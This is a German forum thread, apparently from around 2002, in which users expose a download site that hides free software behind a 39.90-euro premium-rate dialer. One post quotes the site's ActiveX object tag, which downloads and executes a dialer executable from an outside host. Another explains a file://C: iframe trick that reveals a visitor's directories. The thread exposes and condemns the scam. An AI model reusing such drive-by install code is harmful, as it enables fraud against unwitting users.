nicht angemeldet
SELFHTML-Download fuer 39,90 €
0 0 0 0 0 0 0 0 0 So billig ???
0 0 0 0 0 0
SELFHTML-Download fuer 39,90 €
Liebe Forumer,
ein Fachjournalist hat mich heute auf eine Site aufmerksam gemacht, wo ich mich mal wieder _ziemlich_ zusammenreissen muss, um nicht gegen die Strafordnung zu verstossen:
Was anderes sieht man auch gar nie in der URL-Zeile, und wenn man mit der rechten Maustaste irgendwas machen will, kommt selbstverstaendlich ein Copyright-Hinweis. Nun waer ja alles nicht weiter schlimm. Nicht mal, dass irgendwann ein riesiges, rabenschwarzes Popup aufgeht, dass mir meine IP-Adresse und den Namen meines Browsers mitteilt und meint, es koenne meine Festplatte lesen und ich brauche unbedingt irgendso ein ganz bestimmtes Tool zum besseren Schutz ...
Naja, wenn ich das downloaden wollte, wuerde ich wahrscheinlich genauso viel bezahlen muessen wie fuer alle anderen Downloads, die auf der Site angeboten werden. Eigentlich haben sie dort eine richtig nette Shareware- und Freeware-Sammlung. Die Suche funktioniert zwar nicht, aber egal.
Da klickt man sich also so durch, z.B. auch zu
http://www.soft-archiv.de/Daten/ID00216.HTM
Nix Ungewoehnliches - SELFHTML haben ja viele im Angebot. Auf den Link "SELFHTML 8.0" koennt ihr noch gefahrlos klicken. Aber bei der Seite, die dann kommt (sie kommt natuerlich nicht nur bei SELFHTML, sondern auch bei allen anderen Produkten, die man dort downloaden kann), staunt der Fachmann (und der Laie solls wohl fuer normal halten): 39,90 € fuer die Einwahl mit Hilfe eines hauseigenen Dialers, wenn man auf den Download-Link klickt!
Da kommt natuerlich Freude auf, und man kann nur hoffen, dass die Zahlen, die auf der Download-Hitseite (http://www.soft-archiv.de/DOWNHITS1.HTM) ausgewiesen werden, frei erfunden sind. Die Frage ist - was macht man mit so einem Anbieter? Beschweren geht leider auch nicht, da der Link aufs Impressum auf eine DLL-Datei fuehrt, deren binaeren Zeichensalat man - zumindest im Mozilla (mit dem IE wuerde ich mich auf diese Seite kaum trauen) - anstelle einer Anschrift bewundern kann. Na gut - Denic Whois befragen - dort bekommt man dann auch Name und Anschrift des Domain-Inhabers raus. Ich wuerde ihm aber gerne erst mal per Mail schreiben und ihn auffordern, SELFHTML umgehend aus seinem Angebot zu entfernen...
Ach, und falls jenes kleine Petzmaeulchen, das seinerzeit die "halbgeheime" Download-URL der selfhtml80.zip an die Heise-Newticker-Redaktion verraten hat ... falls dieses kleine Petzmaeulchen hier mitliest, waere ich fuer ein Inanspruchnehmen der offenbar guten Beziehungen vom Petzmaeulchen zur Heise-Redaktion dankbar. So was gehoert dort naemlich besser hin als hier, weil es dort groessere Kreise zieht.
viele Gruesse
Stefan Muenz
-
hi
Was anderes sieht man auch gar nie in der URL-Zeile, und wenn man mit der rechten Maustaste irgendwas machen will, kommt selbstverstaendlich ein Copyright-Hinweis. Nun waer ja alles nicht weiter schlimm. Nicht mal, dass irgendwann ein riesiges, rabenschwarzes Popup aufgeht, dass mir meine IP-Adresse und den Namen meines Browsers mitteilt und meint, es koenne meine Festplatte lesen und ich brauche unbedingt irgendso ein ganz bestimmtes Tool zum besseren Schutz ...
lol
Naja, wenn ich das downloaden wollte, wuerde ich wahrscheinlich genauso viel bezahlen muessen wie fuer alle anderen Downloads, die auf der Site angeboten werden. Eigentlich haben sie dort eine richtig nette Shareware- und Freeware-Sammlung. Die Suche funktioniert zwar nicht, aber egal.
nachdem es sich komplett, wie ja auch dransteht um Free- und Shareware handelt, wäre es wohl sogar möglich die Seite ganz schließen zu lassen - vermutlich steht bei jedem 2ten Programm in der Lizenz "NUR kostenlose Weitergabe"..
frei erfunden sind. Die Frage ist - was macht man mit so einem Anbieter? Beschweren geht leider auch nicht, da der Link aufs Impressum auf eine DLL-Datei fuehrt, deren binaeren Zeichensalat man - zumindest im Mozilla (mit dem IE wuerde ich mich auf diese Seite kaum trauen) - anstelle einer Anschrift bewundern kann. Na gut - Denic Whois befragen - dort bekommt man dann auch Name und Anschrift des Domain-Inhabers raus. Ich wuerde ihm aber gerne erst mal per Mail schreiben und ihn auffordern, SELFHTML umgehend aus seinem Angebot zu entfernen...
den IE kannst du dir wohl staren, der Link geht so auf die DLL, das diese heruntergeladen wird... Damit ist kein Impressum vorhanden -> noch ein Weg die Seite schließen zu lassen...
Ach, und falls jenes kleine Petzmaeulchen, das seinerzeit die "halbgeheime" Download-URL der selfhtml80.zip an die Heise-Newticker-Redaktion verraten hat ... falls dieses kleine Petzmaeulchen hier mitliest, waere ich fuer ein Inanspruchnehmen der offenbar guten Beziehungen vom Petzmaeulchen zur Heise-Redaktion dankbar. So was gehoert dort naemlich besser hin als hier, weil es dort groessere Kreise zieht.
stimmt.
-
hallo,
also meine meinung hierzu ist: seite verbieten.
ist eine echte unverschämtheit was die sich da erlauben.
und wenn sie schon für den download von self html geld nehmen, sollten sie es stefan überweisen, das er es in seine arbeit stecken kann, oder davon leben.mfg
sven
-
-
passend zu Thema hab ich eben noch den hier aufgegeben:
http://bugzilla.mozilla.org/show_bug.cgi?id=132272
gruss Kai
-
Sup!
Ich war's nicht, aber es würde mich nicht wundern, falls die c't aufmerksam werden würde *hust*. Warum schreibst Du nicht selbst an newstips@heise.de?
Gruesse,
Bio
-
Hallo Bio
Ich war's nicht
*bg*
aber es würde mich nicht wundern, falls die c't aufmerksam werden würde *hust*. Warum schreibst Du nicht selbst an newstips@heise.de?
Hab ich jetzt mal gemacht!
viele Gruesse
Stefan Muenz-
Hallo,
Soeben Post von Heise - Zitat:
"Petzmaeulchen war wieder aktiv. Wir tickern das gleich.":-)
viele Gruesse
Stefan Muenz-
hallo stefan, hallo forum
Soeben Post von Heise - Zitat:
"Petzmaeulchen war wieder aktiv. Wir tickern das gleich."pc-welt hat gestern schon über diese seite berichtet (diese = soft-archiv.de).
http://www.pcwelt.de/news/internet/22578/heute ist in den pc-welt news zu lesen das soft-archiv schon abgemahnt wurde: http://www.pcwelt.de/news/internet/22612/
und zwar von H+BEDV, einem bekannten software-hersteller (antivir u.a.)ich denke mal soft-archiv.de wird in kürze "sterben"
grüsse
siramon, ja der aus der schweiz-
Hallo Siramon,
http://www.pcwelt.de/news/internet/22578/
http://www.pcwelt.de/news/internet/22612/Das klingt ja gut! Also scheint der Journalist, der die Sache angestossen hat, doch schon etwas Erfolg zu haben. In seiner Mail an mich klagte er naemlich ueber die mangelnde Resonanz bei den ueber 50 angeschriebenen Redaktionen bislang.
Hinter vielen der Software-Angebote stehen ja gestandene Firmen. Und ich kann mir gut vorstellen, dass da viele so ganz und gar nicht mit dieser Vertriebsart einverstanden sind. Kann ich mir also gut vorstellen, dass es, wenn die das alle mitkriegen, maechtig Aerger geben wird dort ...
viele Gruesse
Stefan Muenz-
Servus zusammen,
bei heise.de ist es online: http://www.heise.de/newsticker/data/uma-20.03.02-003/
Bis dann...
Alex :)
-
-
ich denke mal soft-archiv.de wird in kürze "sterben"
Hallo,
das mag ja möglich sein, aber während eine Seite geschlossen wird, werden 15 neue Dialerseiten aufgemacht. Die Abmahnung von software-archiv.de scheint mir nur exemplarisch zu sein. Es wird Zeit, dass der Gesetzgeber hier mal energisch durchgreift, damit die Abzockerei ein Ende nimmt. Und zum Glück tut sich da ja auch langsam was.
bye bye soft-archiv.de ?
Viele Grüsse,
Sven Blomenkamp
-
-
-
-
-
Moin!
Naja, wenn ich das downloaden wollte, wuerde ich wahrscheinlich genauso viel bezahlen muessen wie fuer alle anderen Downloads, die auf der Site angeboten werden. Eigentlich haben sie dort eine richtig nette Shareware- und Freeware-Sammlung. Die Suche funktioniert zwar nicht, aber egal.
Es ist einfach unglaublich!
Phase 5 ist auch angeboten. In der Beschreibung steht auch, daß er kostenlos ist - aber trotzdem kommt der Dialer. 39,90 EUR für den Anbieter.
Ach, und falls jenes kleine Petzmaeulchen, das seinerzeit die "halbgeheime" Download-URL der selfhtml80.zip an die Heise-Newticker-Redaktion verraten hat ... falls dieses kleine Petzmaeulchen hier mitliest, waere ich fuer ein Inanspruchnehmen der offenbar guten Beziehungen vom Petzmaeulchen zur Heise-Redaktion dankbar. So was gehoert dort naemlich besser hin als hier, weil es dort groessere Kreise zieht.
Da bin ich für. Solchen Betrügern gehört das Handwerk gelegt.
Der Dialer installiert sich bei Verwendung des falschen Browsers vermutlich selbst. Quelltext:
<body bgcolor=#FFFFFF text=#000000 link=#6666FF vlink=#000099 alink=#CCCCFF>
<object
classid = "CLSID:8699D723-6DC6-47D3-B55C-489BA006B917"
codebase = "webinstall.cab#version=1,0,0,0"
>
<param name = "command" value = "download:execute">
<param name = "source" value = "http://www.rehtec.de/_dial/simhack.exe">
<param name = "target" value = "TMP">
<param name = "data" value = "">
<param name = "version" value = "1.0.0.0">
<param name = "key" value = "SimHack">
<param name = "display" value = "">
<param name = "color" value = "255,255,255">
<param name = "font" value = "Courier New">
<param name = "size" value = 20></object> <img src="dlanim.gif" width="233" height="76">
</body>Zum Glück interpretiert Opera das nicht. Aber der IE bestimmt.
Alle angegebenen Downloadzahlen sollte man erstmal ausdrucken und somit sichern - und gegen den Anbieter verwenden. Schick nicht erst eine Mail, schick lieber gleich die Rechnung.
- Sven Rautenberg
-
Tag allerseits!
Der Dialer installiert sich bei Verwendung des falschen Browsers vermutlich selbst.
Yep sieht ganz danach aus.
Der Verbraucherschutz hat doch vor kurzem eine Kampagne gegen Dialer gestartet. Vielleicht interessieren die sich auch für dieses ominöse Firma?Thomas J.
-
Hoi
Der Dialer installiert sich bei Verwendung des falschen Browsers vermutlich selbst. Quelltext:
[...]
Zum Glück interpretiert Opera das nicht. Aber der IE bestimmt.
Jein. Es klappt ein süßes Fenster auf. Dann will er eine Bestäigung haben, das und das Programm zu installieren.
Ciao,
Harry
-
-
Hallo Stefan,
Dreist, wirklich dreist, was der Seitenbetreiber sich da rausnimmt. Könnte auch naiv sein, oder aber sogar clever - jedenfalls dreist.
Ich wuerde ihm aber gerne erst mal per Mail schreiben und ihn auffordern, SELFHTML umgehend aus seinem Angebot zu entfernen...
Anrufen macht zwar mehr Eindruck, aber eine Mail mit den passenden Worten ist auch ok, find ich.
... zur Heise-Redaktion dankbar. So was gehoert dort naemlich besser hin als hier, weil es dort groessere Kreise zieht.
Es leben die Medien! Ich find es irgendwie angenehm, zu wissen, daß z.B. auch die Bild-Zeitung in der Hinsicht gut auf einen "aufpaßt", wenn einem böses widerfährt ;-) Heise macht das in kleinerem Rahmen natürlich auch ganz gut, und ich würde gern den dummen Gesichtsausdruck des Seitenbetreibers, um den es hier geht, sehen, wenn er sein Produkt plötzlich auf Heises Anklagebank entdeckt, die ja sozusagen mitten auf der CeBit steht - symbolisch gesprochen.
Gruß,
_Dirk-
Hallo,
... zur Heise-Redaktion dankbar. So was gehoert dort naemlich besser hin als hier, weil es dort groessere Kreise zieht.
Es leben die Medien! Ich find es irgendwie angenehm, zu wissen, daß z.B. auch die Bild-Zeitung in der Hinsicht gut auf einen "aufpaßt", wenn einem böses widerfährt ;-) Heise macht das in kleinerem Rahmen natürlich auch ganz gut, und ich würde gern den dummen Gesichtsausdruck des Seitenbetreibers, um den es hier geht, sehen, wenn er sein Produkt plötzlich auf Heises Anklagebank entdeckt, die ja sozusagen mitten auf der CeBit steht - symbolisch gesprochen.
Ich bin mir nicht sicher, ob das wirklich einen dummen Gesichtsausdruck hervorbringt. Die Seite wird momentan durch die Medien bekannt gemacht. Natürlich handelt es sich dabei nicht gerade um die beste Art von Bekanntheit, aber das ist IMHO zweitrangig. Ich kann mir gut vorstellen, dass die Downloadquote durch diese Medientätigkeit nur ansteigt.
Nur so ein Gedanke...
Robert
http://www.designauswahl.here.de
mit kostenlosem Webseiten-Generator ROBE.dit
[more than a HTMLE.dit]
-
-
Hallo Forum, hallo Stefan,
Was anderes sieht man auch gar nie in der URL-Zeile, und wenn man mit der rechten Maustaste irgendwas machen will, kommt selbstverstaendlich ein Copyright-Hinweis.
naja, zumindest scheinen die Programmierer der Site die Forums-FAQ ganz gut zu kennen (rechte Maustaste und so) ;-)
Da klickt man sich also so durch, z.B. auch zu
http://www.soft-archiv.de/Daten/ID00216.HTM
Nix Ungewoehnliches - SELFHTML haben ja viele im Angebot. Auf den Link "SELFHTML 8.0" koennt ihr noch gefahrlos klicken. Aber »» bei der Seite, die dann kommt (sie kommt natuerlich nicht nur bei SELFHTML, sondern auch bei allen anderen Produkten, die man »» dort downloaden kann), staunt der Fachmann (und der Laie solls wohl fuer normal halten): 39,90 ? fuer die Einwahl mit Hilfe »» eines hauseigenen Dialers, wenn man auf den Download-Link klickt!Witzig ist auch der Hinweis, das SELFHTML scheinbar nur unter Win95/98/NT funktioniert. Stefan, was hast Du da wieder für ein proprietäres Zeug produziert? *SCNR*
Ich wuerde ihm aber gerne erst mal per Mail schreiben und ihn auffordern, SELFHTML umgehend aus seinem Angebot zu entfernen...
Ich hoffe für Dich, dass das auch hilft. Nicht dass ihr Euch schon wieder mit irgendwelchen Abzockern rumstreiten müsst... natürlich könntest Du auch Bio mit seinem Fön losschicken. Dann haben die auch nix mehr zu lachen:
<?m=41588&t=7367>Viele Grüsse
Achim -
Hallo,
was macht man mit so einem Anbieter?
Das Forum schliest sich zusammen und bereitet eine DDoS Attacke vor... HALT, lieber doch nicht! Meine Homepage liegt auch bei Puretec! *g*
Aber Spaß beiseite. Ich würde diesen Typen sofort per Anwalt abmahnen lassen. Der hat das nicht anders verdient, denn das geht eindeutig zuweit. Du hast ja auch einen Verlag. Vielleicht kannst Du ja auch mal deren Anwälte kontakten. Die wissen bestimmt am besten, wie man gegen sowas vorrgeht.
Ich jedenfalls wünsche Dir viel Erfolg dabei.
Auf das Internet wieder ein Stück "sauberer" wird...
Alex :(
-
Hi Alex,
Aber Spaß beiseite. Ich würde diesen Typen sofort per Anwalt abmahnen lassen. ...
Auf das Internet wieder ein Stück "sauberer" wird...
Wird es das dadurch wirklich?
Nicht, daß Abmahnungen generell zu verurteilen sind, aber meinst Du nicht, es gibt auch noch andere Methoden, die wirkungsvoller, freundlicher und menschlicher sind, als gleich eine Abmahnung zu verschicken?
Wenn Menschen doch sprechen können, warum regeln sie untereinander so viel schriftlich?Gruß,
_Dirk-
Moin !
Wird es das dadurch wirklich?
Nicht, daß Abmahnungen generell zu verurteilen sind, aber meinst Du nicht, es gibt auch noch andere Methoden, die wirkungsvoller, freundlicher und menschlicher sind, als gleich eine Abmahnung zu verschicken?Kann man so viel Unverschämtheit wirklich noch mit Freundlichkeit begegnen ? Sagt man "he, meine Software ist doch frei" sagt er "sorry, übersehen, ich nehm sie raus". Dann zockt er halt mit den anderen Programmen weiter ab ...
Wenn Menschen doch sprechen können, warum regeln sie untereinander so viel schriftlich?
Da sehr viele Menschen für ein Schreiben wohl empfänglicher sind als für bloße Worte ...
Ciao,
Harry
-
Moin Harry,
Da sehr viele Menschen für ein Schreiben wohl empfänglicher sind als für bloße Worte ...
Mich persönlich interessieren ja Briefe herzlich wenig, die oft ungeöffnet im Papierkorb landen. Ich bin da viel empfänglicher für Worte, aber andererseits...
...ich denke, Du hast wohl recht. Warme Worte nützen da nichts mehr.
Gruß,
_DirkP.S. : Warum in aller Welt züchtest Du Dir freiwillig ein n00b?!? Ich wär ja froh, wenn meins für immer verschwinden würde... ;-)
-
Hoi
P.S. : Warum in aller Welt züchtest Du Dir freiwillig ein n00b?!? Ich wär ja froh, wenn meins für immer verschwinden würde... ;-)
Meine Antenne ist locker und ich hab keinen Bock, sie fest zu schrauben ;-)
Ciao,
Harry
*kühlschrankauf-guck-hehe-händereib-kaltschrankzu*
-
-
-
Hallo Dirk,
Wird es das dadurch wirklich?
Nicht, daß Abmahnungen generell zu verurteilen sind, aber meinst Du nicht, es gibt auch noch andere Methoden, die wirkungsvoller, freundlicher und menschlicher sind, als gleich eine Abmahnung zu verschicken?
Wenn Menschen doch sprechen können, warum regeln sie untereinander so viel schriftlich?Dieses Angebot ist ganz klar auf Abzocke anlegt und nutzt die Navivität und Unwissenheit der unerfahren Computer- und Internetnutzer aus, um in möglichst kurzer Zeit viel Geld zu machen. Und hier hört es für mich eindeutig auf. Der Seitenbetreiber wird auch immer weiter machen. Und dem ist mit "einfachen" Worten und Reden wohl nicht beizukommen. Von daher würde ich sofort eine harte, legale Maßnahme in Betracht ziehen und das ist eine (gerechtfertigte) Abmahung via Anwalt.
Und ob das Internet dadurch wirklich sauberer wird, weiss ich nicht sicher. Ich hoffe es jedenfalls...
Alex :|
-
-
-
Bongú!
= http://www.topdownload.berlinet.de
- Denic-WHOIS => 1 eMail-Adresse
http://www.berlinet.de/BerliNet/pinwand.htm 1. Eintrag. ;-)
Manchmal hilft wirklich nur noch wundern. %-[
Sahha,
kerki
-
Mensch, wenn ich das gewußt hätte ... ;-)
-
Hallo Stefan,
ich hätte Zweifel, ob der Versuch eines Dialogs per eMail oder Telefon für Abhilfe sorgen könnte... Die Tatsache, daß der Anbieter die Gebühr nicht für die herunterzuladenden Files verlangt, sondern für die Dienstleistung des Serverzugangs, zeigt, daß hier keine unüberlegten Anfänger am Werk sind und ruft förmlich nach der Konsultation eines Fachanwaltes.
IMHO sollte man bei solchen Leuten jede altruistische Grundhaltung vergessen und sie hart angehen!
Viel Erfolg!
Robert
-
Moin,
Nicht mal, dass irgendwann ein riesiges, rabenschwarzes Popup aufgeht, dass mir meine IP-Adresse und den Namen meines Browsers mitteilt und meint, es koenne meine Festplatte lesen und ich brauche unbedingt irgendso ein ganz bestimmtes Tool zum besseren Schutz ...
Lustigerweise ist diese Seite auch noch kaputt:
- IHRE IP ADRESSE: 62.42.122.67
- IHR INTERNET PROVIDER: -gesichert-
- IHR BROWSER / BETRIEBSSYSTEM: MicrosoftWindowsMeine IP-Addresse fängt zur Zeit mit 145 an, mein Provider ist Arcor und surfen tue ich unter Linux mit Galeon. Das iframe erscheint hier auch nicht, obwohl es das bei ähnlichen Demonstrationen auf Heise online problemlos tat. Wohlgemerkt habe ich in meinem Browser keinen Proxy eingestellt, verwende keinen Zwangsproxy und mein Browser gibt sich nicht als jemand anderes aus.
Fazit: Setzen, sechs.--
Henryk Plötz
Grüße aus Berlin-
hi
Meine IP-Addresse fängt zur Zeit mit 145 an, mein Provider ist Arcor und surfen tue ich unter Linux mit Galeon. Das iframe erscheint hier auch nicht, obwohl es das bei ähnlichen Demonstrationen auf Heise online problemlos tat. Wohlgemerkt habe ich in meinem Browser keinen Proxy eingestellt, verwende keinen Zwangsproxy und mein Browser gibt sich nicht als jemand anderes aus.
hat besagter <iframe> 'ne height="100%" ? Wenn ja: da hat Mozilla derzeit 'nen Bug und zeigt die nicht an.
gruss Kai
-
Moin,
hat besagter <iframe> 'ne height="100%" ? Wenn ja: da hat Mozilla derzeit 'nen Bug und zeigt die nicht an.
Nein es hat eine schöne absolute Höhenangabe und wird ja auch prima angezeigt, bloss dass es leer ist. Das liegt daran dass der Entwickler faul war und src="C:" geschrieben hat anstatt des richtigeren src="file://C:". Bei letzterem würde auch der Mozilla was anzeigen, nämlich die Verzeichnisstruktur vom Systemroot / aus.
--
Henryk Plötz
Grüße aus Berlin-
hi
Nein es hat eine schöne absolute Höhenangabe und wird ja auch prima angezeigt, bloss dass es leer ist. Das liegt daran dass der Entwickler faul war und src="C:" geschrieben hat anstatt des richtigeren src="file://C:". Bei letzterem würde auch der Mozilla was anzeigen, nämlich die Verzeichnisstruktur vom Systemroot / aus.
achso...
naja, oder man traut sich dann doch nicht die Sicherheit von Mozilla anzuzweifeln :]]gruss Kai
-
-
-
-
Tach Gemeinde,
eine Frage wurde noch gar nicht angesprochen:
Wieso ist es eigentlich erlaubt, 0190er mit Beträgen von jenseits 3,63 DM zu schalten? Mir geistert noch ein Dialer der 300 EURO pro Anruf wollte im Hirn rum!!
Unterstützt die Telekom solche Anbieter, weil sie einfach selber dran verdienen?Gruss ok
-
Hallo Oskar
Wieso ist es eigentlich erlaubt, 0190er mit Beträgen von jenseits 3,63 DM zu schalten? Mir geistert noch ein Dialer der 300 EURO pro Anruf wollte im Hirn rum!!
So weit ich weiss, gibt es da keine Beschraenkungen. Es liegt im Ermessen des Anbieters, wie viel er verlangt. Er muss die Preise nur ausweisen. Wie die Abrechnung mit dem Netzbetreiber erfolgt, weiss ich jetzt auch nicht - ob der einen fixen Grundbetrag bekommt oder prozentuale Anteile.
Ich glaube allerdings, dass es nur eine winzige Minderheit ist, die - zumindest bei so was wie hier - auf solche Abzocken reinfaellt. Bei Sex-Angeboten ist es noch was anderes, da sind eher mal Verzweifelte unterwegs, die wider besseres Wissen so einen Service nutzen. Aber ich kann mir eigentlich nicht vorstellen, dass irgendein Mensch 40 Euro ausgibt, um sich ein Freeware- oder Trialware-Programm downzuloaden. Da fehlt finde ich einfach der Suchtfaktor.
Ein paar ganz Doofe hat dieser Anbieter vielleicht erwischt. Aber dass er wirklich reich damit wird, wage ich doch zu bezweifeln. Aber egal - allein der Versuch ist kriminell, weil er gegen fast alle Lizenzen der Software-Angebote verstoesst, die er da feilbietet. Und darauf kommts an.
viele Gruesse
Stefan Muenz-
Bongú, Stefan!
Ich glaube allerdings, dass es nur eine winzige Minderheit ist, die - zumindest bei so was wie hier - auf solche Abzocken reinfaellt. [...] ich kann mir eigentlich nicht vorstellen, dass irgendein Mensch 40 Euro ausgibt, um sich ein Freeware- oder Trialware-Programm downzuloaden. Da fehlt finde ich einfach der Suchtfaktor.
Die Frage ist nur, ob man sich über diese Kosten überhaupt bewußt ist.
Ich glaube nicht, dass allgemein bekannt ist, dass ein einzelner kurzer Anruf überhaupt derartig hohe Kosten verursachen kann. DM 3,63 / min. kennt vermutlich jeder zumindest aus der Werbung. Aber EUR 39,90 für einen ganz kurzen Anruf? Man bedenke: Die gesamten Kosten entstehen direkt bei der Einwahl. Selbst wenn man also bemerkt, dass man versehentlich auf "ja" gedrückt ist, ist das Geld weg.
Ich habe spaßeshalber einmal einen Selbstversuch durchgeführt:
Ich bin also mit meinem IE6 auf die Seite gegangen und habe mir ein Progrämmchen ausgeguckt. Nachdem ich also auf "Download" klickte, kam ich auf diese Seite:
http://www.soft-archiv.de/auswahl1.htm.
Das "Kleingedruckte" da unten habe ich glatt überlesen.Auf die freundliche Frage antwortete ich nichtsahnend mit "Modem" (.oO mach ich bei Real-Player-Filmchen ja auch oft).
Danach begann ein Download (.oO bestimmt mein Shareware-Tool) und dann erschien ein kleines PopUp-Fensterchen:
http://kerki.bei.t-online.de/dialer.gif (85KB).
Wenn man hier jetzt "ja" klickt und ein paar Sekündchen wartet, ist das Geld quasi schon im Gulli.
Ein paar ganz Doofe hat dieser Anbieter vielleicht erwischt.
Dieser Anbieter vielleicht, aber bei anderen Angeboten, die sich nicht ausgerechnet an Computerhobbyisten richten, wäre ich mir so sicher.
Aber dass er wirklich reich damit wird, wage ich doch zu bezweifeln.
Ich wage gerade einmal, zu hoffen, dass du Recht behälst.
Aber egal - allein der Versuch ist kriminell, weil er gegen fast alle Lizenzen der Software-Angebote verstoesst, die er da feilbietet. Und darauf kommts an.
Und genau in diesem Punkt bin ich mir gar nicht einmal so sicher. Schließlich wird keine Gebühr für den Download der Software berechnet, sondern eine Gebühr für den Zugang zum Downloadrechner. Eine ähnliche Gebühr zahle ich jeden Monat an T-Onlne.
Aus moralischer Sicht ist dieses Geschäftsgebahren sicherlich zu verurteilen. Ob aber die Gerichte dies genauso sehen, darf in Zweifel gezogen werden.
Im Zweifel würde ich eine Klage auf "Wucher" begründen.
Al Capone hat man ja auch nur wegen Steuerhinterziehung drangekriegt. ;-)
Sahha,
kerki
-
Moin!
Ich habe spaßeshalber einmal einen Selbstversuch durchgeführt:
Mutig. Respekt!
Danach begann ein Download (.oO bestimmt mein Shareware-Tool) und dann erschien ein kleines PopUp-Fensterchen:
Wenn man hier jetzt "ja" klickt und ein paar Sekündchen wartet, ist das Geld quasi schon im Gulli.
Das Perfide: Es werden ganz geringe Kosten suggeriert: 2,66 EURO pro Minute. Klar, mal kurz schauen, runterladen, fertig. Das große ABER: Abrechnung im 15-Minuten-Takt.
Also Mindestpreis 2,66 EUR/Min * 15 Min = 39,90 EUR.
Wer für den Download länger braucht, zahlt bei Anbruch der 16. Minute wieder 39,90 EUR.
Tut mir leid, aber das halte ich für ganz große Abzocke. Es ist einfach ungewöhnlich, hier im 15-Minuten-Takt abzurechnen, und den Preis zu verschleiern.
Ein paar ganz Doofe hat dieser Anbieter vielleicht erwischt.
Dieser Anbieter vielleicht, aber bei anderen Angeboten, die sich nicht ausgerechnet an Computerhobbyisten richten, wäre ich mir so sicher.
Was ist, wenn 9,99 EUR/Min im Stundentakt abgerechnet würden? Genau, ein Anruf kostet dann 599,40 EUR.
Wenn das Dialogfenster sagt "Es entstehen kosten von 9,99 EUR pro Minute. Abrechnung im 60-Minuten-Takt.", dann kann man daß erstens dahingehend mißverstehen, daß man "60-Sekunden-Takt" glaubt zu lesen (und das wäre naheliegend), und zweitens wird niemand mal schnell im Kopf überschlagen, was er denn mit einem einzigen Anruf auslöst (besagte 600 Euro).
Es ist einfach unglaublich... 200 Puls hab' ich... bald.
- Sven Rautenberg
-
Moin
Es ist einfach unglaublich... 200 Puls hab' ich... bald.
- Sven Rautenberg
Die einzige Chance für mich war, generell die 0190er sperren zu lassen. hat zwar paar Mark (letztes Jahr) gekostet, aber sicher ist sicher. DSL ist zwar immun gegen Telefonnummern, aber das wird wohl auch bald fallen. Wann kommt der erste DSL-Dialer für sagen wir mal 100 Euro pro Anruf?
Grüssle ok
-
Moin,
Die einzige Chance für mich war, generell die 0190er sperren zu lassen. hat zwar paar Mark (letztes Jahr) gekostet, aber sicher ist sicher. DSL ist zwar immun gegen Telefonnummern, aber das wird wohl auch bald fallen. Wann kommt der erste DSL-Dialer für sagen wir mal 100 Euro pro Anruf?
Öhm, nie. Bei DSL besteht eine direkte Verbindung zwischen deinem DSL-'Modem' und dem DSLAM in der Vermittlungsstelle. Selbst wenn das Modem wollte, könnte es keine Verbindung zu einer anderen Vermittlungstelle aufbauen und schon gar nicht zu einer kostenpflichtigen Telefonnummer. Das ist einfach technisch nicht drin. Die einzige praktikable Möglichkeit zeigt soft-archiv.de ja schon wenn man sagt dass man DSL hat: Man muß manuell bei einer teuren Nummer anrufen.
--
Henryk Plötz
Grüße aus Berlin-
Moin,
Die einzige Chance für mich war, generell die 0190er sperren zu lassen. hat zwar paar Mark (letztes Jahr) gekostet, aber sicher ist sicher. DSL ist zwar immun gegen Telefonnummern, aber das wird wohl auch bald fallen. Wann kommt der erste DSL-Dialer für sagen wir mal 100 Euro pro Anruf?
Öhm, nie. Bei DSL besteht eine direkte Verbindung zwischen deinem DSL-'Modem' und dem DSLAM in der Vermittlungsstelle. Selbst wenn das Modem wollte, könnte es keine Verbindung zu einer anderen Vermittlungstelle aufbauen und schon gar nicht zu einer kostenpflichtigen Telefonnummer. Das ist einfach technisch nicht drin. Die einzige praktikable Möglichkeit zeigt soft-archiv.de ja schon wenn man sagt dass man DSL hat: Man muß manuell bei einer teuren Nummer anrufen.
--
Henryk Plötz
Grüße aus BerlinTach
Telefon geht nicht, ist ja logisch. Aber so wie es verschiedene DSL Anbieter gibt, die alle auch unterschiedliche Abrechnungsvarianten haben, kann ja einer auf den Gedanken kommen schweine viel Geld zu verlangen?
Ich gehe über eine DSL Hardware Firewall/Router ins Inderneed. Ist mir am sicherstenGrüssle
-
Moin (kann man jetzt doch schon sagen, oder?),
Telefon geht nicht, ist ja logisch. Aber so wie es verschiedene DSL Anbieter gibt, die alle auch unterschiedliche Abrechnungsvarianten haben, kann ja einer auf den Gedanken kommen schweine viel Geld zu verlangen?
Klar, der Anbieter kann sich selbst die Preise überlegen. Aber wer bestimmt denn die Wahl des Providers? Eigenlich der mündige Nutzer, also wir. Bevor ich zu einem Provider gehen, erkundige ich mich über ie Preise. Die Sache mit den 0190 Dialern zieht doch eindeutig dahin, das einer "versehentlich" so ein Ding installiert (wobei, kann man im IE Falle denn von "versehentlich" sprechen? - Das überlasse ich aber den Juristen...) und dann kräftig zur Kasse gebeten wird. Es liegt also mit sofortiger Wirkung in Einflussbereich des Modem/ISDN Nutzers, welchen Anbieter er nimmt. Wir DSL Nutzer haben es da nicht so leicht: Wir entscheiden uns für einen Anbieter, den wir ad hoc nicht wechseln können. Da muß ein netter Mensch von der Telekom oder wem auch immer losfahren (jedenfalls ein Techniker Deines DSL-Anschluss-Anbieters), der dann ein paar Knöpfe und Schalter im Vermittlungshäuschen drückt und Dich zu einem anderen Anbieter routet.
Du siehst, ein Provider-Wechsel ist mit DSL recht "schwierig". Das hat natürlich den Vorteil, dass DSL-Nutzer nie Gefahr laufen, dass durch Software oder Softwareeingriffe eine Umstellung des Providers zugunsten eines anderen teureren Abzockeanbieters erfolgen kann.Ich geh jetzt ins Bett. Gute Nacht...
Alex :)
-
-
-
-
Hallo Kerki,
Die Frage ist nur, ob man sich über diese Kosten überhaupt bewußt ist.
*g* - naja, kann natuerlich auch ein Euro-Schnaepchen-Jaeger sein. Ich bemuehe mich derzeit, 40 Euro in Beziehung zu bringen mit Restaurantbesuchen, Friseurbesuchen usw. - weiss nicht, wie das anderen ergeht ;-)
Ich habe spaßeshalber einmal einen Selbstversuch durchgeführt:
Ich bin also mit meinem IE6 auf die Seite gegangen und habe mir ein Progrämmchen ausgeguckt. Nachdem ich also auf "Download" klickte, kam ich auf diese Seite:
http://www.soft-archiv.de/auswahl1.htm.
Das "Kleingedruckte" da unten habe ich glatt überlesen.
Auf die freundliche Frage antwortete ich nichtsahnend mit "Modem" (.oO mach ich bei Real-Player-Filmchen ja auch oft).
Danach begann ein Download (.oO bestimmt mein Shareware-Tool) und dann erschien ein kleines PopUp-Fensterchen:
